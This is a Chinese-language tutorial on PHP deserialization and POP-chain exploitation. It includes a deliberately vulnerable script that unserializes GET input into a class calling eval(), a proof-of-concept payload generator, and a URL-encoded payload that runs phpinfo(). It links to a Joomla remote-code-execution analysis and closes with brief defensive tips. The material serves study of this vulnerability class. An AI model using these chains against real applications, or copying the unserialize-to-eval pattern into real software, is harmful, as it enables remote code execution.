前言
反序列化可以控制類屬性,無論是private還是public
<?php
class A {
private $a = "a";
public $b = "b";
static $c = "c";
}
$test = new A();
echo urlencode(serialize($test));
O%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22%00A%00a%22%3Bs%3A1%3A%22a%22%3Bs%3A1%3A%22b%22%3Bs%3A1%3A%22b%22%3B%7D
其中有個%00存在是因為private屬性。
pop鏈的利用
以前理解的序列化攻擊更多的是在魔術方法中出現一些利用的漏洞,因為自動調用從而觸發漏洞。
但如果關鍵代碼不在魔術方法中,而是在一個類的普通方法中。這時候可以通過尋找相同的函數名將類的屬性和敏感函數的屬性聯系起來。
<?php
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new normal();
}
function __destruct() {
$this->ClassObj->action();
}
}
class normal {
function action() {
echo "hello";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
}
unserialize($_GET['d']);
lemon這個類本來是調用,normal類的,但是現在action方法在evil類里面也有,所以可以構造pop鏈,調用evil類中的action方法。
<?php
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class evil {
private $data = "phpinfo();";
}
echo urlencode(serialize(new lemon()));
echo "\n\r";
注意的是,protected $ClassObj = new evil();是不行的,還是通過__construct來實例化。
生成poc:
O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
獲取已經包含的文件:
get_included_files()
獲取已經定義的類:
get_declared_classes()
加載所有類
__autoload()
Joomla遠程代碼執行漏洞分析
p師傅已經很詳細的進行一個說明,只是小小的總結一下,與上面相比,是lemon類直接性的new了一個對象,實際中可以在魔術方法中多找一些回調函數之類的,比如call_user_func_array,這樣就可以去實例化任意加載的對象,當然如果沒有加載的話,那就去想辦法利用import一下類。
https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html
挖掘與防護
serialize/unserialize函數的搜索
用json_encode/json_decode